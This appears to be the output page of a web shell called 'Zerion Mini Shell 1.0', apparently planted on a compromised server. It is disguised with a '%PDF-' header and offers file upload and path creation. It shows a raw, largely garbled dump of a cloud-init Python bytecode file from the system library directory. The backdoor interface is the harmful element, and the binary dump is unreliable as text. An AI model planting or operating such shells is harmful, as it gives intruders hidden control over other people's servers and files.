%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/handlers/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/handlers/__pycache__/cloud_config.cpython-312.pyc

�

�f����ddlZddlZddlmZmZmZmZddlmZeje
�ZdZejd�ZdZdZdZGd	�d
ej$�Zy)�N)�handlers�mergers�safeyaml�util)�
PER_ALWAYSz
Merge-Typezdict(replace)+list()+str()z
#cloud-configz#cloud-config-jsonpz*# Cloud-config part ignored SCHEMA_ERROR: c�>�eZdZeegZd�Zd�Zd�Zd�Z	d�Z
d�Zd�Zy)	�CloudConfigPartHandlerc���tjj|td��d|_|jd�|_d|vr|j|d�|_g|_g|_y)N�)�version�cloud_config�cloud_config_path)	r�Handler�__init__r�	cloud_buf�	get_ipath�cloud_fn�
file_names�error_file_names)�self�paths�_kwargss   �A/usr/lib/python3/dist-packages/cloudinit/handlers/cloud_config.pyrzCloudConfigPartHandler.__init__3sa�����!�!�$�
�A�!�>��������7��
��'�)�!�O�O�G�4G�,H�I�D�M���� "���c�\�|jsyg}|jra|jdt|j�z�|jD]}|sd}|jd|z��|jd�|jD]}|jt
�|����|j�Htdg}|j|�|jtj|j��ng}tj|jdj|�d�y)Nz# from %s files�?z# %s��
i�)rr�append�lenr�MERGED_PART_SCHEMA_ERROR_PREFIXr�CLOUD_PREFIX�extendr�dumpsr�
write_file�join)r�
file_lines�fn�
error_file�liness     r�_write_cloud_configz*CloudConfigPartHandler._write_cloud_config<s���}�}���
��?�?����/�3�t���3G�H�I��o�o�
1����B��!�!�&�B�-�0�
1�
���b�!��/�/�	P�J����!@� A�*��N�O�	P��>�>�%����E�
�L�L��$��L�L�������7�8��E�����
�
�t�y�y��'7��?rc�V�d}tdtzfD]}|j|d�}|s�|}ntj|�}|�t	d��tj|�}tj|�}g}	|	j|�|	j|�|	st}	||	fS)NrzX-%szempty cloud config)
�MERGE_HEADER�getr�	load_yaml�
ValueErrorr�dict_extract_mergers�string_extract_mergersr#�DEF_MERGERS)
r�payload�headers�merge_header_headers�h�tmp_h�payload_yaml�mergers_yaml�mergers_header�all_mergerss
          r�_extract_mergersz'CloudConfigPartHandler._extract_mergersVs���!����,� 7�8�	�A��K�K��2�&�E��',�$��		��~�~�g�.�����1�2�2��3�3�L�A�� �7�7�8L�M�������<�(����>�*��%�K��k�*�*rc��|j�}tj|t��}tj
j
|�}tjd|�|j|jd��|_
y)N)�prefixz!Merging by applying json patch %sF)�in_place)�lstripr�strip_prefix_suffix�JSONP_PREFIX�	jsonpatch�	JsonPatch�from_string�LOG�debug�applyr)rr4�patchs   r�_merge_patchz#CloudConfigPartHandler._merge_patchms_��
�.�.�"���*�*�7�<�H���#�#�/�/��8���	�	�5�u�=����T�^�^�e��D��rc���|j||�\}}tjd|�tj|�}|j|j|�|_y)NzMerging by applying %s)r=rGrHr�	construct�merger)rr4r5r9�
my_mergers�mergers      r�_merge_partz"CloudConfigPartHandler._merge_partxsN��%)�%:�%:�7�G�%L�"��z��	�	�*�J�7��"�"�:�.�����d�n�n�l�C��rc� �g|_d|_y)N)rr)rs r�_resetzCloudConfigPartHandler._reset~s�������rc���|tjk(r|j�y|tjk(r!|j	�|j�y	|j
�|jsi|_|tjtk(r|j|�n|j||�dD]}|j|d�}�|jj|j��y#t$rJ}|jj|j��t j#d||�Yd}~yd}~wt$$rt'j(t d|�YywxYw)N)r�
�	� z2Failed at merging in cloud config part from %s: %sz.Failed at merging in cloud config part from %s)r�
CONTENT_STARTrS�CONTENT_ENDr+rr�INCLUSION_TYPES_MAPrCrKrQ�replacer�stripr0rrG�warning�	Exceptionr�logexc)	r�data�ctype�filenamer4�	frequencyr5�i�errs	         r�handle_partz"CloudConfigPartHandler.handle_part�s,���H�*�*�*��K�K�M���H�(�(�(��$�$�&��K�K�M��	��~�~�%�T�_�_�!#�����4�4�\�B�B��!�!�'�*�� � ��'�2�'�
4��#�+�+�A�s�3��
4��O�O�"�"�8�>�>�#3�4���	��!�!�(�(����)9�:��K�K�D���
�
��
�	��K�K��E�x�
�	�s �BC:�:	E2�AE�'E2�1E2N)
�__name__�
__module__�__qualname__r"rC�prefixesrr+r=rKrQrSrf�rrr	r	.s4���l�+�H�#�@�4+�.	E�D��rr	)�loggingrD�	cloudinitrrrr�cloudinit.settingsr�	getLoggerrgrGr-r2r3r"rCr!rr	rkrr�<module>rpsf����7�7�)��g����!����&-�g�,�,�-I�J����$��"N��r�X�-�-�rr

Zerion Mini Shell 1.0